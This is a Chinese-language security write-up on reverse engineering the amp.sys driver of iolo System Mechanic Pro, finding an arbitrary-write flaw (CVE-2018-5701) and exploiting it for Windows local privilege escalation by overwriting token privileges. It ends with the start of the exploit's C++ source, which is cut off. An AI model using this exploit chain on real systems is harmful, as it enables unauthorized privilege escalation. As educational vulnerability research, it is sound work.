如何挖掘并利用驱动程序中的安全漏洞

  • A+
所属分类:安全文章

如何挖掘并利用驱动程序中的安全漏洞

前段时间,我们(last & VoidSec)学习了Windows内核漏洞的利用的相关内容,知道了内核空间的主要概念以及各种防御机制的绕过和利用技术。在本文中,我们将为读者详细介绍,如何在对一个驱动程序的内部情况毫不了解的情况下,通过逆向分析来挖掘和利用其中的安全漏洞。

如何挖掘并利用驱动程序中的安全漏洞
Windows驱动程序简介

在对驱动程序本身通过逆向分析寻找其中的安全漏洞之前,我们首先要了解什么是驱动程序,以及它们是如何工作的。在Windows系统中,驱动程序本质上就是一些可加载的模块,其中包含了当某些事件发生时将在内核的上下文中执行的相关代码。这些事件可能是需要操作系统处理某些事情的中断或进程;内核会处理这些中断,并通过执行适当的驱动程序来满足这些请求。简单来说,我们可以把驱动程序看作是某种内核端的DLL。事实上,驱动程序被Process Explorer列为系统进程(PID为4的那个进程)内部的已加载模块。

如何挖掘并利用驱动程序中的安全漏洞

DriverEntry

接下来,让我们来考察一下驱动程序的结构。就像大多数代码一样,驱动程序也有一个“main”函数,即DriverEntry。在微软官方文档中,这个函数的定义如下所示:

NTSTATUS DriverEntry(

  _In_ PDRIVER_OBJECT  DriverObject,

  _In_ PUNICODE_STRING RegistryPath

);

首先,大家千万不要被SAL注释(参数前的_In_)吓倒了,它只是表示:这两个参数应该是传递给DriverEntry函数的输入参数。其中,参数DriverObject表示一个指向DRIVER_OBJECT数据结构的指针,并且这个数据结构中存放着驱动程序本身的信息;对于这一点,我们稍后将详细加以介绍。另外,参数RegistryPath是一个指向UNICODE_STRING结构体(这是一个包含UTF-16字符串和一些其他控制信息的结构体)的指针,该结构体含有驱动程序映像的注册表路径(内核通过该位置来加载驱动程序代码的.sys文件)。

设备与符号链接

对于一个驱动程序来说,为了允许从用户模式访问它,必须创建一个设备和一个符号链接(也就是symlink),以使它能被标准用户进程所访问。实际上,设备就是让进程与驱动程序进行交互的接口,而符号链接则是我们在调用Win32函数时可以使用的设备名称(即别名)。

那么,符号链接有没有喜闻乐见的例子呢?实际上,C:就是一个存储设备的符号链接。如果您不相信的话,可以使用Sysinternals的工具WinObj亲自验证一下:切换至根命名空间下的GLOBAL??目录,然后寻找C:,看看它的类型到底是不是符号链接。

如何挖掘并利用驱动程序中的安全漏洞

实际上,驱动程序是使用IoCreateDevice和IoCreateSymbolicLink来创建设备和符号链接的。在对一个驱动程序进行逆向分析时,如果发现这两个函数被连续调用的时候,就可以确定当前看到的是驱动程序实例化设备和符号链接的代码。在大多数情况下,这种情况只发生一次,因为大多数驱动程序只会“暴露”一个设备。

通常情况下,设备名称的格式为DeviceVulnerableDevice;而符号链接的格式则为\.VulnerableDeviceSymlink。

现在,我们已经介绍了驱动程序的“前端”,下面让我们来讨论其“后端”:调度例程(dispatch routines)。

调度例程

驱动程序会根据其暴露的设备上被调用的功能来执行不同的操作(也就是函数/例程)。换句话说,当我们对相应的设备调用WriteFile API时驱动程序的行为,与我们调用ReadFile或DeviceIoControl API时的行为是不同的。这种行为是由驱动程序开发人员通过DriverObject结构体的MajorFunctions成员来进行控制的。实际上,成员MajorFunctions就是一个函数指针数组。

像WriteFile、ReadFile或DeviceIoControl这样的API在MajorFunctions数组里面都有一个相应的索引,这样的话,在API函数被调用时,实际上就会调用相关的函数指针。

此外,还有一些宏可以帮助我们记住相关的索引,例如:

· IRP_MJ_CREATE是在调用CreateFile这个API时驱动程序将要调用的函数的指针的索引;

· IRP_MJ_READ是与ReadFile等函数相关的索引。

· IRP_MJ_DEVICE_CONTROL与DeviceIoControl相对应的索引。

假设一个驱动程序开发人员定义了一个名为“MyDriverRead”的函数,以便进程调用驱动程序的设备上的ReadFile API时,能够调用这个函数。那么,他必须在DriverEntry函数(或者在被它调用的函数)中添加如下所示的代码:

DriverObject->MajorFunctions[IRP_MJ_READ] = MyDriverRead;

有了这个声明,驱动程序开发人员就可以确保每次在该驱动程序的设备上调用ReadFile API时,驱动程序的代码都会调用“MyDriverRead”函数。像这样的函数被称为调度例程。

您可能会问:这与我们的逆向分析有关么?答案是肯定的。因为MajorFunctions是一个长度有限的数组,所以,我们可以分配给驱动程序的调度例程也是受限的。当开发人员想要突破这个限制时,该怎么办呢?这时,用户模式函数DeviceIoControl就会派上用场了。

如何挖掘并利用驱动程序中的安全漏洞
DEVICEIOCONTROL & IOCTL代码

在MajorFunctions数组里面有一个特殊的索引,它定义为IRP_MJ_DEVICE_CONTROL。在这个索引对应的数组元素中存储的是在驱动程序的设备上调用DeviceIoControl API后被调用的调度例程的函数指针。这个函数非常重要,因为它的一个参数是一个32位的整数,通常称为IOCTL(I/O Control,IOCTL)代码。这个IOCTL代码将传递给驱动程序,以便让驱动程序根据DeviceIoControl传递给它的不同IOCTL代码来执行不同的动作。本质上讲,位于索引IRP_MJ_DEVICE_CONTROL处的调度例程,其代码大体上就是一个switch语句:

switch(IOCTL)

{

    case 0xDEADBEEF:

        DoThis();

        break;

    case 0xC0FFEE;

        DoThat();

        break;

    case 0x600DBABE;

    DoElse();

    break;

}

通过这种方式,开发人员就可以根据进程发送的不同IOCTL代码,使其驱动程序调用不同的函数。

这一点非常重要,因为对驱动进行逆向工程时,这种“代码指纹”不仅易于寻找,而且还很容易找到。一旦知道了哪个IOCTL代码通向哪个代码路径,就可以更轻松地对驱动程序进行相应的分析和模糊测试,从而更好地发掘驱动程序内部的安全漏洞。

通过逆向分析查找IOCTL代码

在对驱动程序进行逆向分析时,我们要做的第一件事情,就是找到它用来通信的IOCTL代码和设备名称(symlink)。

在我们的例子中,目标程序是:iolo - System Mechanic Pro v.15.5.0.61 (amp.sys)

安装程序后,我们可以利用WinObj工具来查找设备名称和权限了,具体如下所示:

如何挖掘并利用驱动程序中的安全漏洞

现在,我们已经采集到了设备名称(DeviceAMP),现在是时候获取IOCTL代码了;为此,我们必须将目标驱动程序(amp.sys)加载到一个反汇编器中(我们使用的是IDA),并添加以下所需的结构体(如果缺失的话):

· DRIVER_OBJECT

· IRP

· IO_STACK_LOCATION

首先,我们来考察一下DriverEntry函数。很明显,驱动程序比我们想象的要复杂一些,我们不妨从Imports部分的IoDeviceControl API的交叉引用开始着手。

实际上,我们只有一个来自SUB_2CFE0的结果(我们随后将其重命名为DriverCreateDevice)。

现在,让我们看看下面的基本块图:

如何挖掘并利用驱动程序中的安全漏洞

我们可以看到DeviceName已经被实例化,并且已经传递了DriverObject,这很可能就是我们要找的函数,所以,我们决定对其进行反编译处理。

如何挖掘并利用驱动程序中的安全漏洞

通过观察MajorFunction[14](偏移量0x0e处),我们发现了驱动程序的IRP_MJ_DEVICE_CONTROL,如果存在一组系统定义的I/O控制代码(IOCTL)的话,那么驱动程序必须支持这个请求(在DispatchDeviceControl例程中)。

双击SUB_2C580并进行反编译,我们能够到达该驱动程序的IOCTL代码被定义的地方:

请大家查看下面的“RAW”反编译代码,并尝试找到IOCTL代码:

__int64 __fastcall sub_2C580(__int64 a1, IRP *a2)

{

  BOOLEAN v3; // [rsp+20h] [rbp-38h]

  ULONG v4; // [rsp+24h] [rbp-34h]

  _IO_STACK_LOCATION *v5; // [rsp+28h] [rbp-30h]

  unsigned int v6; // [rsp+30h] [rbp-28h]

  PNAMED_PIPE_CREATE_PARAMETERS v7; // [rsp+38h] [rbp-20h]

  a2->IoStatus.Information = 0i64;

  v5 = a2->Tail.Overlay.CurrentStackLocation;

  if ( v5->Parameters.Read.ByteOffset.LowPart == 2252803 )

  {

    v4 = v5->Parameters.Create.Options;

    v7 = v5->Parameters.CreatePipe.Parameters;

    v3 = IoIs32bitProcess(a2);

    v6 = sub_166D0(v3, v7, v4);

  }

  else

  {

    v6 = -1073741808;

  }

  a2->IoStatus.Status = v6;

  IofCompleteRequest(a2, 0);

  return v6;

}

如果您无法找到它,或者您更喜欢上面代码的增强版本,请参考我们的逆向分析结果:

__int64 __fastcall Driver_IRP_MJ_DEVICE_CONTROL(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

  __int64 result; // rax

  _BYTE Is32BitProcess; // [rsp+20h] [rbp-38h]

  _DWORD bufferSize; // [rsp+24h] [rbp-34h]

  _QWORD IoStackLocation; // [rsp+28h] [rbp-30h]

  NTSTATUS status; // [rsp+30h] [rbp-28h]

  _QWORD userBuffer; // [rsp+38h] [rbp-20h]

  _QWORD; // [rsp+68h] [rbp+10h]

  Irp->IoStatus.Information = 0i64;

  IoStackLocation = Irp->Tail.Overlay.CurrentStackLocation;

  if ( IoStackLocation->Parameters.Read.ByteOffset.LowPart == 0x226003 )// IOCTL Code

  {

    bufferSize = IoStackLocation->Parameters.Create.Options;

    userBuffer = &IoStackLocation->Parameters.CreatePipe.Parameters->NamedPipeType;

    Is32BitProcess = IoIs32bitProcess(Irp);

    status = DriverVulnerableFunction(Is32BitProcess, userBuffer, bufferSize);

  }

  else

  {

    status = 0xC0000010;                        // STATUS_INVALID_DEVICE_REQUEST

  }

  Irp->IoStatus.Status = status;

  IofCompleteRequest(Irp, 0);

  return (unsigned int)status;

}

我们可以对IOCTL代码(0x226003)做进一步的解码,以了解内核访问随IOCTL请求传递的数据缓冲区所使用的方法。使用OSR Online IOCTL Decoder工具,我们可以获得以下信息:

如何挖掘并利用驱动程序中的安全漏洞

实际上,METHOD_NEITHER是最不安全的一个方法,因为它可以用来访问随IOCTL请求传递的数据缓冲区。当使用这个方法时,I/O管理器不会对用户数据进行任何形式的验证,而是直接将原始数据传递给驱动程序。这确实是个好消息,因为在没有任何验证的情况下,在管理用户数据的代码中发现bug/漏洞的概率会更高。

太好了!现在,我们已经找到了IOCTL代码(0x226003)和DeviceName(\Device\AMP),接下来,我们就可以继续对驱动程序进行模糊测试,以寻找安全漏洞了。

如何挖掘并利用驱动程序中的安全漏洞
进行模糊测试

在上面的逆向分析环节中,我们已经找到了IOCTL代码;接下来,我们开始通过ioctlbf对驱动程序进行模糊测试。

实际上,ioctlbf的语法非常简单。首先,我们必须通过参数-d提供相应的设备名,然后,提供要模糊测试的IOCTL代码(借助于参数-i),再后面是-u参数,意思是只对前面提供的IOCTL代码进行模糊测试(实际上,这里不需要特别指出,因为我们已经发现该驱动程序只有一个IOCTL代码)。

如何挖掘并利用驱动程序中的安全漏洞

在启动ioctlbf之后,我们会立即(在我们的debuggee机器上)看到以下消息(amp+6c8d):

Access violation - code c0000005 (!!! second chance !!!)

fffff801`3ae96c8d 488b0e          mov     rcx,qword ptr [rsi]

PROCESS_NAME:  ioctlbf.EXE

READ_ADDRESS:  0000000000000000

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000000

EXCEPTION_PARAMETER2:  0000000000000000

STACK_TEXT: 

ffff9304`c35c66e0 ffffe60b`ecd87bb0     : 00000000`00000001 00000000`00000000 fffff801`35c23f8b ffff9304`c35c6700 : amp+0x6c8d

ffff9304`c35c66e8 00000000`00000001     : 00000000`00000000 fffff801`35c23f8b ffff9304`c35c6700 00000000`00000001 : 0xffffe60b`ecd87bb0

ffff9304`c35c66f0 00000000`00000000     : fffff801`35c23f8b ffff9304`c35c6700 00000000`00000001 ffffe60b`e5303c80 : 0x1

看起来,这好像是一个NULL指针解引用导致的错误消息。因此,我们决定深入逆向该驱动程序,看看为什么会发生访问违规,以及是否能够设法利用这个漏洞。

如何挖掘并利用驱动程序中的安全漏洞
漏洞的成因分析

分析SUB_2C580函数(调度例程)

当在设备上调用DeviceIoControl API时,被调用的调度例程为函数SUB_2C580。借助于IDA Pro的反编译器,我们可以看到这个函数会接收2个参数:

1.第一个参数是指向DeviceObject(IDA将其命名为a1)的指针。

2.第二个参数是传递给设备的IRP结构体(IDA称其命名为a2)的指针。

通过IRP结构体的指针,该函数能够提取出当前的堆栈位置(_IO_STACK_LOCATION);需要说明的是,这个结构体包含了DeviceIoControl发送的内存缓冲区。同时,这个结构体被保存在局部变量v5里面。

如何挖掘并利用驱动程序中的安全漏洞

好了,下面我们开始考察下一行(第11行),它用于对缓冲区中包含的IOCTL(位于Parameters.Read.ByteOffset.LowPart成员里面)与硬编码在驱动程序代码中的值(其十进制表示为2252803,十六进制表示为0x226003)进行比较:

如何挖掘并利用驱动程序中的安全漏洞

上面是驱动程序调用与此特定IOCTL代码相关联的函数的代码,该函数是SUB_166D0。在跳入该函数之前,我们必须先解释一下传递给上述函数的三个参数,即v3、v7和v4:

1、v3是IoIs32BitProcess函数的返回值。这是一个简单的布尔值,用于指出调用进程是32位的(TRUE)还是64位的(FALSE)。

2、v7是指向实际用户缓冲区的指针,在本例中,它指向用户空间中的一个地址。该地址正是作为参数传递给DeviceIoControl API的那个地址。

3、v4是前面提到的缓冲区的大小。

分析SUB_166D0函数

由于这个函数比前一个函数稍微复杂一些,所以,我们不妨先来分析各个返回值,以了解代码流程和对输入所施加的各种约束。

其中,这里有5个return语句,每个语句都有一个状态码。让我们将它们转换成十六进制,具体如下所示:

1、return 0xC0000023 == STATUS_BUFFER_TOO_SMALL

2、return 0xC0000023 == STATUS_BUFFER_TOO_SMALL

3、return 0xC0000001 == STATUS_UNSUCCESSFUL

4、return 0xC000000D == STATUS_INVALID_PARAMETER

5、return 0x0 == STATUS_SUCCESS

我们可以从MSDN上找到这些状态码,并记下它们的含义。现在,我们已经知道了每个状态码的含义,接下来就可以推测每个代码块的作用了,让我们先从第一个代码块开始。

我们之前说过,参数a1是调用者传递给函数的第一个参数,并且是IoIs32BitProcess的返回值;而参数a3则是缓冲区的大小。因此,如果调用进程是32位的,则缓冲区大小必须等于或大于12字节(0xC)。

如何挖掘并利用驱动程序中的安全漏洞

如果该进程是64位的,则缓冲区的大小必须等于或大于24个字节(0x18)。

在这两种情况下,如果缓冲区大小具有适当的长度,代码就会跳转到LABEL_6。在64位的情况下,我们通过将输入的结构体划分为3个8字节长的值来创建更多的局部变量。

如何挖掘并利用驱动程序中的安全漏洞

如何挖掘并利用驱动程序中的安全漏洞

v8 = *(_QWORD *)a2;

v9 = *((_QWORD *)a2 + 1);

v10 = *((_QWORD *)a2 + 2);

如何挖掘并利用驱动程序中的安全漏洞

通过观察上面的反编译代码,我们猜测输入缓冲区一定是某种24字节长的结构,并由三个不同的8字节字段组成。我们可以看到,v8、v9以及v10是以递增的偏移量来访问输入缓冲区地址,然后对这些指针解除引用,进而获得相应的值。

如何挖掘并利用驱动程序中的安全漏洞

注意:这是通过一些指针运算完成的。如果您对C语言比较生疏,下面的解释可以帮助您理解第25、26和27行代码的作用:

· 第25行:取a2,将其转换为指向64位值的指针(这对应于该行中的(_QWORD *)a2部分),然后,解除该指针的引用,也就是在(_QWORD *)a2前面加上一个星号*。

· 第26行:和上面一样,但在将a2转换为一个指向64位值的指针后,会先+1。这意味着我们现在正在寻找结构体中的下一个QWORD,也就是下一个由8字节组成的字段。

· 第27行:和上面类似,但是这次将跳到第3个QWORD,也就是第一个QWORD之后的16个字节直接由a2指向。

下一个代码块以LABEL_6开头:

如何挖掘并利用驱动程序中的安全漏洞

qword_38B28定义的是一个在运行时填充的地址,其中包含一个32位的值0x00000009。我们可以用WinDbg对这个函数设置一个断点,然后,用之前找到的IOCTL代码调用DeviceIoControl API来对其进行考察。

为了能够发送任意的IOCTL请求,我们使用了一个开源软件:IOCTLpus。

IOCTLpus是由Jackson Thuraisamy开发的,但该软件的一个分叉目前是由VoidSec积极维护的。简单来说,我们可以将其视为可通过任意输入发送DeviceIoControl请求的工具(其功能与Burp Repeater有点类似)。

如何挖掘并利用驱动程序中的安全漏洞

通过IOCTLpus执行任意的DeviceIoControl请求,并逐渐改变UserBuffer的值,我们发现这个漏洞并不是一个NULL指针解引用问题。相反,这是一个非常奇怪的ioctlbf的行为所致:将所有缓冲区的值设置为0,这使得该漏洞看起来像一个NULL指针解引用问题,而掩盖了真正的任意写入问题。

提示:在将WinDbg附加到debuggee之后,需要运行以下命令以获得驱动程序的基址:lm vm amp,然后转到IDA -> Edit -> Segments -> Rebase Program菜单,并设置当前分析的文件的基址,以便将所有地址都变成绝对地址,从而使得反编译的代码与在WinDbg中看到的内容之间具有一致性。

下面我们继续进行分析:在第34行,对qword_38B28指向的DWORD(32位值)与变量v4进行了比较。这个变量是用v8的值进行初始化的,而v8又是我们输入结构体的第一个字段的值。因此,我们发现,如果输入缓冲区的前4个字节包含一个大于或等于qword_38B28(0x00000009)所指向的32位值的值,就会导致检查失败,这样的话,该函数将返回STATUS_INVALID_PARAMETER。

如果检查成功,输入结构体的第一个字段的值将用作“switch”子句的索引。

v8 = *(_QWORD *)(qword_38B28 + 16i64 * v4 + 8);

v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);

您可能会问,为什么是switch语句?现在,请相信我们的话,我们将在分析SUB_16C40函数时验证这一点(它将v8的地址作为参数)。

下面是反编译后的SUB_166D0函数:

__int64 __fastcall DriverVulnerableFunction(bool BoolIs32BitProcess, unsigned int *userBuffer, unsigned int bufferSize)

{

  unsigned int field1_32; // eax

  __int64 field2_32; // r8

  __int64 field3_32_ptr; // rbx

  __int64 field1_64; // [rsp+20h] [rbp-28h] BYREF

  __int64 field2_64; // [rsp+28h] [rbp-20h]

  __int64 field3_64_ptr; // [rsp+30h] [rbp-18h]

  __int64 *v11; // [rsp+38h] [rbp-10h]

  __int64 v12; // [rsp+68h] [rbp+20h] BYREF

  if ( BoolIs32BitProcess )

  {                                             // 32 bit Process

    if ( bufferSize >= 12 )

    {                                           // Struct contaning 3 32-bits fields

      field1_32 = *userBuffer;                  // (int)userBuffer[0];

      field2_32 = (int)userBuffer[1];

      field3_32_ptr = (int)userBuffer[2];

      goto LABEL_6;

    }

    return 0xC0000023i64;                       // STATUS_BUFFER_TOO_SMALL

  }

  if ( bufferSize < 24 )                        // 64 bit Process

    return 0xC0000023i64;                       // STATUS_BUFFER_TOO_SMALL

  field1_64 = *(_QWORD *)userBuffer;            // Struct contaning 3 64-bits fields

  field2_64 = *((_QWORD *)userBuffer + 1);

  field3_64_ptr = *((_QWORD *)userBuffer + 2);

  field3_32_ptr = field3_64_ptr;

  field2_32 = field2_64;

  field1_32 = field1_64;

LABEL_6:

  if ( !qword_FFFFF80068928B28 )

    return 0xC0000001i64;                       // STATUS_UNSUCCESSFUL

  if ( field1_32 >= *(_DWORD *)qword_FFFFF80068928B28 )// MUST BE < 9

    return 0xC000000Di64;                       // STATUS_INVALID_PARAMETER

  field2_64 = field2_32;

  field1_64 = *(_QWORD *)(qword_FFFFF80068928B28 + 16i64 * field1_32 + 8);// jmp table (0-8)

  LODWORD(field3_64_ptr) = *(_DWORD *)(qword_FFFFF80068928B28 + 16i64 * field1_32 + 16);// set lower 32 bits of fields3_64

  v11 = &v12;

  jmptable(&field1_64);                         // addr jmp table based

  if ( BoolIs32BitProcess )

    *(_DWORD *)field3_32_ptr = v12;

  else

    *(_QWORD *)field3_32_ptr = v12;

  return 0i64;                                  // SUCCESS

}

分析SUB_16C40函数

说实话,这个函数还是让我们比较头疼的,因为反编译后的代码不仅对我们的帮助不大,甚至还有些误导作用:

void __fastcall sub_16C40(__int64 a1)

{

  unsigned __int64 v2; // rcx

  __int64 v3; // rax

  void *v4; // rsp

  char vars20; // [rsp+20h] [rbp+20h] BYREF

  v2 = *(unsigned int *)(a1 + 16);

  v3 = v2;

  if ( v2 < 0x20 )

  {

    v2 = 40i64;

    v3 = 32i64;

  }

  v4 = alloca(v2);

  if ( v3 - 32 > 0 )

    qmemcpy(&vars20, (const void *)(*(_QWORD *)(a1 + 8) + 32i64), v3 - 32);

  **(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)(

                             **(_QWORD **)(a1 + 8),

                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 8i64),

                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 16i64),

                             *(_QWORD *)(*(_QWORD *)(a1 + 8) + 24i64));

}

看了上面的代码,我们通常立即认为qmemcpy就是正确的目标函数,因为把UserBuffer的值复制到一个用户控制的位置时,可能会触发任意写入漏洞。

有了memcpy函数,我们就想当然的以为可以通过memcpy ( *destination, *source, size_t); 掌控全局;但有时只盯住一棵树反而会忽略了整篇森林。在花了我大量的时间之后,我们“猛然发现”导致访问违规的指令其实与memcpy本身毫无瓜葛,而是与memcpy之后的另一条指令有关;如果大家还记得前面的内容的话,应该知道访问违规发生在amp+6c8d处。

于是,我们重新考察“原始”的汇编代码,而不是反编译后的类似C语言的伪代码,这次事情终于有了转机:

.text:0000000000016C6A                 sub     rsp, rcx

.text:0000000000016C6D                 and     rsp, 0FFFFFFFFFFFFFFF0h

.text:0000000000016C71                 lea     rcx, [rax-20h]

.text:0000000000016C75                 test    rcx, rcx

.text:0000000000016C78                 jle     short loc_16C89

.text:0000000000016C7A                 mov     rsi, [rbx+8]

.text:0000000000016C7E                 lea     rsi, [rsi+20h]

.text:0000000000016C82                 lea     rdi, [rsp+var_s20]

.text:0000000000016C87                 rep movsb

.text:0000000000016C89

.text:0000000000016C89 loc_16C89:                              ; CODE XREF: sub_16C40+38↑j

.text:0000000000016C89                 mov     rsi, [rbx+8]

.text:0000000000016C8D                 mov     rcx, [rsi]

.text:0000000000016C90                 mov     rdx, [rsi+8]

.text:0000000000016C94                 mov     r8, [rsi+10h]

.text:0000000000016C98                 mov     r9, [rsi+18h]

.text:0000000000016C9C                 call    qword ptr [rbx]

违规访问发生在16C8D处,对应的指令为mov rcx,[rsi],但如果仔细观察该指令前后的内容,根本就找不到对memcpy的调用,这就奇了怪了。

好吧,严格来说这也不是怪事,但我们必须再深入研究一下,才能发现IDA的行为。正如有位逆向分析高手向我们解释的那样,是movesb指令使得IDA在rep movsb将rcx字节从rsi复制到rdi时触发了qmemcpy 。

总之,通过考察mov rcx,[rsi]指令,并追溯rsi寄存器的赋值和使用情况,我们发现它的值来自于rcx寄存器:

.text:0000000000016C47                 mov     rbx, rcx

.text:0000000000016C89                 mov     rsi, [rbx+8]

.text:0000000000016C8D                 mov     rcx, [rsi]

RCX寄存器(按照x86_64的快速调用惯例)用于传递函数参数(即前面的参数使用RCX、RDX、R8和R9寄存器;其余的参数通过堆栈传递)。

由于SUB_16C40只从SUB_166D0中获取一个参数(如果你还记得的话,实际上就是SUB_166D0中的v8),RCX将用于存放该参数的地址,而该地址又是从用户缓冲区(field1)中获取的。

现在很明显,由于ioctlbf将整个用户缓冲区设置为0的奇怪行为,导致了访问违规。在这种情况下,其值全部为0的第一个用户缓冲区将用来计算v8的值(v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);),所以,当mov rcx, [rsi]指令被执行时,rsi寄存器中保存的是一个要解除引用的、指向无效内存位置的指针。

再看往下查看原始的汇编代码,我们可以发现又准备了一个快速调用“call”来填充rcx、rdx、r8和r9寄存器:

.text:0000000000016C8D                 mov     rcx, [rsi]

.text:0000000000016C90                 mov     rdx, [rsi+8]

.text:0000000000016C94                 mov     r8, [rsi+10h]

.text:0000000000016C98                 mov     r9, [rsi+18h]

.text:0000000000016C9C                 call    qword ptr [rbx]

这里发生了一件有趣的事情:不知何故,如果RBX(或者我们以前的v8 .text:00000000016C47 mov rbx, rcx )是一个有效的内存地址,它就会被操作码call所调用。

从这里开始,IDA就作用不大了:RBX的值对IDA来说是未知的,因为它是在运行时计算出来的,所以IDA无法跟踪并反汇编上述调用的结果。

事实上,由于v8只能小于9(如SUB_166D0所示),因此表达式v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8);的取值范围是非常有限的。

为此,我们可以用IOCTLpus生成所有的情况,然后用windbg进行跟踪,就得到了下面的列表(对应于各个switch子句):

1、sub_2CBA0

2、sub_2CB20

3、sub_2C960

4、sub_2C850

5、sub_2C7F0

6、sub_18D20

7、sub_2C510

8、sub_2C360

9、sub_2C460

分析sub_2C460函数

在以上所有函数中,sub_2C460是最有前途的,因为我们可以借助它对任意地址执行写操作,但我们却无法控制写入的值。

__int64 __fastcall jmp8(_DWORD *a1)

{

  unsigned int v2; // [rsp+20h] [rbp-38h]

  v2 = 0;

  if ( !a1 )  // must be === 0

    return 0xFFFFFFFE;

  sub_FFFFF800689067D0((__int64)a1, 0x2Cui64);

  if ( *a1 != 44i64 )

    return 4;

  qmemcpy(a1, &unk_FFFFF80068926BA8, 0x2Cui64);

  return v2;

}

上面的SUB_2C460函数将返回值0xFFFFFFFE,对于我们的特权升级漏洞来说,这几乎是完美的。

如何挖掘并利用驱动程序中的安全漏洞
漏洞分析回顾

现在,我们来总结一下前面的分析结果:

· 我们发现,受我们控制的、发送给易受攻击的驱动程序的用户缓冲区是由一个24字节长的结构体组成的,可以划分为三个长度为8字节的字段。

· 第一个字段必须始终包含一个小于9的整数值(SUB_166D0),在我们的特定情况下,必须是8才能达到SUB_2C460函数。具体来说,第一个字段由包含0x00000008值的低位部分(前8个字节)组成,而高位部分可以是任何内容(因为它被用作填充之用)。

· 第二个字段必须是指向一个地址的有效指针,一旦解除引用,该地址对应的值必须为0(详见SUB_2C460函数)。

· 第三个字段应该包含SUB_2C460的返回值(0xFFFFFFFE)要写入的地址。

如何挖掘并利用驱动程序中的安全漏洞
利用令牌特权实现LPE

您可能会奇怪,前面为什么说返回值0xFFFFFFFE简直是完美的呢?众所周知,为了成功进行权限提升,我们需要借助于其他技术,例如:

· 窃取一个SYSTEM令牌,并用它代替我们自己的进程的令牌。

· 覆盖负责保存进程令牌值的内核结构体。

现在,让我们考虑第二种情况,因为任意写入非常适合这种技术。

我们知道,Windows使用令牌对象(该对象是由nt!_TOKEN结构体表示的)来描述特定线程或进程的安全上下文。因此,系统上的每个进程都在其EPROCESS结构体中保存一个令牌对象引用,该引用在对象访问协商或系统任务赋权期间都会用到。

实际上,与特权提升相关条目是_SEP_TOKEN_PRIVILEGES,在_TOKEN结构体中的偏移量为0x40,其中存放的是令牌的特权信息:

kd> dt nt!_SEP_TOKEN_PRIVILEGES c5d39c30+40

  +0x000 Present          : 0x00000006`02880000

  +0x008 Enabled          : 0x800000

  +0x010 EnabledByDefault : 0x800000

· 第一个字段Present,为一个unsigned long long值,用于表示令牌的当前特权。但是,这并不意味着这些权限已启用或禁用,而只是存在于该令牌中。创建令牌后,我们就无法为其添加特权了;相反,我们只能启用或禁用在此字段中找到的现有选项。

· 第二个字段Enabled,为一个无符号长整型值,表示令牌上所有已启用的特权。不过,必须在此位掩码中启用相应的特权才能通过SeSinglePrivilegeCheck检查。

· 最后一个字段EnabledByDefault表示令牌的初始状态。

如果用0xFFFFFFFF值覆盖Present和Enabled字段,我们就能够有效地启用位掩码中的所有位,从而启用所有特权。因此,如果能够写入一个受控的值0xFFFFFFFE,那就再好不过了。

如何挖掘并利用驱动程序中的安全漏洞
漏洞利用

对于该漏洞的利用过程,具体如下所示:

1.打开当前的进程令牌——它被用来检索其内核空间地址。

2.使用NtQuerySystemInformation API来泄露所有带有句柄的对象的内核地址。

3.在当前进程中找到令牌句柄,并有效地绕过kASLR机制获得内核地址。

4.为易受攻击的驱动程序构建一个IOCTL请求,该请求将返回0xFFFFFFFE,并将输出缓冲区地址设置为指向令牌当前权限字段。

5.对Enabled和EnabledByDefault字段重复前面的处理方法。

6.生成一个子进程,该进程将继承由上述写操作授予的所有令牌权限

与往常一样,读者可以在下面或我的Github页面上找到具有详细注释的C++代码:

/*

Exploit title:      iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE)

Exploit Authors:    Federico Lagrasta aka last - https://blog.notso.pro/

                    Paolo Stagno aka VoidSec - [email protected] - https://voidsec.com

CVE:                CVE-2018-5701

Date:               28/03/2021

Vendor Homepage:    https://www.iolo.com/

Download:           https://www.iolo.com/products/system-mechanic-ultimate-defense/

                    https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E

Version:            v.15.5.0.61

Tested on:          Windows 10 Pro x64 v.1903 Build 18362.30

Category:           local exploit

Platform:           windows

*/

#include

#include

#include

#include

#include

#define IOCTL_CODE 0x226003 // IOCTL_CODE value, used to reach the vulnerable function (taken from IDA)

#define SystemHandleInformation 0x10

#define SystemHandleInformationSize 1024 * 1024 * 2

// define the buffer structure which will be sent to the vulnerable driver

typedef struct Exploit

{

    uint32_t Field1_1;  // must be 0x8 as this index will be used to calculate the address in a jump table and trigger the vulnerable function

    uint32_t Field1_2;  // "padding" can be anything

    int *Field2;        // must be a pointer that, once dereferenced, cotains 0

    void *Field3;       // points to the adrress that will be overwritten by 0xfffffffe - Arbitrary Write

};

// define a pointer to the native function 'NtQuerySystemInformation'

using pNtQuerySystemInformation = NTSTATUS(WINAPI *)(

    ULONG SystemInformationClass,

    PVOID SystemInformation,

    ULONG SystemInformationLength,

    PULONG ReturnLength);

// define the SYSTEM_HANDLE_TABLE_ENTRY_INFO structure

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO

{

    USHORT UniqueProcessId;

    USHORT CreatorBackTraceIndex;

    UCHAR ObjectTypeIndex;

    UCHAR HandleAttributes;

    USHORT HandleValue;

    PVOID Object;

    ULONG GrantedAccess;

} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// define the SYSTEM_HANDLE_INFORMATION structure

typedef struct _SYSTEM_HANDLE_INFORMATION

{

    ULONG NumberOfHandles;

    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

int main(int argc, char **argv)

{

    // open a handle to the device exposed by the driver - symlink is \.amp

    HANDLE device = ::CreateFileW(

        L"\\.\amp",

        GENERIC_WRITE | GENERIC_READ,

        NULL,

        nullptr,

        OPEN_EXISTING,

